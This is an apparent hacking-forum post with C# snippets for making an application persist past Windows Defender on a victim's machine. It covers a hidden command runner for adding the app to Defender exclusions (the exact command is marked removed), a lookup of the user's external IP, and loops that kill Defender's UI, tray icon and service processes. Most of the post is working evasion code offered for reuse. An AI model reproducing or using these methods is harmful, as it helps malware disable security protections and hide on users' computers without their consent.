May 29, 2020 09:54 AM
(This post was last modified: May 29, 2020 10:55 PM by SIM-4704770.)
Here is a good way to persist your application even after a reboot, as what usually happens is that the users Windows Defender will go and remove and/or quarantine the app. With this method the application will add itself to windows defender exceptions. I will also be sharing another useful void for how to download and start an application.
You will need admin priv for this bypass I believe,
I have this execute on runtime as even if the path is already applied no errors are thrown.
Here is the static void needed to use SendCMD
You can use this SendCMD void in order to send commands such as the one I specified in order to add an application to Windows Defender Exclusions.
This post is small so I am going to give another method for how to get a users external IP.
This will get the public ip and not 127.0.0.1 which I have some problems with.
Here is how to end Windows Defender's UI along with its tray icon.
Now before I go here is all of the references needed,
I have a lot of useful methods and soon I'll be releasing my open source testing app with all of my best methods together in one namespace! I will also be releasing all of these methods as a Class Library for easy use!
I would also love for feedback on how my thread design is!
Thank you!
You will need admin priv for this bypass I believe,
Code
removed pm if you need help sorry.Here is the static void needed to use SendCMD
Code
public static void SendCMD(string cmd)
{
try
{
ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd)
{
UseShellExecute = false,
CreateNoWindow = true
};
Process proc = new Process
{
StartInfo = procStartInfo
};
proc.Start();
}
catch
{
}
}This post is small so I am going to give another method for how to get a users external IP.
Code
string externalip = new WebClient().DownloadString("http://icanhazip.com");Here is how to end Windows Defender's UI along with its tray icon.
Code
foreach (Process process in Process.GetProcessesByName("SecHealthUI"))
{
process.Kill();
}
foreach (Process process in Process.GetProcessesByName("Windows Security"))
{
process.Kill();
}
foreach (Process process in Process.GetProcessesByName("SecurityHealthSystray"))
{
process.Kill();
}
foreach (Process process in Process.GetProcessesByName("SecurityHealthService"))
{
process.Kill();
}Now before I go here is all of the references needed,
Code
using System.Diagnostics;
using System.IO;
using System;
using System.Threading;
using System.Threading.Tasks;
using System.Net;I have a lot of useful methods and soon I'll be releasing my open source testing app with all of my best methods together in one namespace! I will also be releasing all of these methods as a Class Library for easy use!
I would also love for feedback on how my thread design is!
Thank you!




![[Image: 6xBycLk.gif]](https://i.imgur.com/6xBycLk.gif)
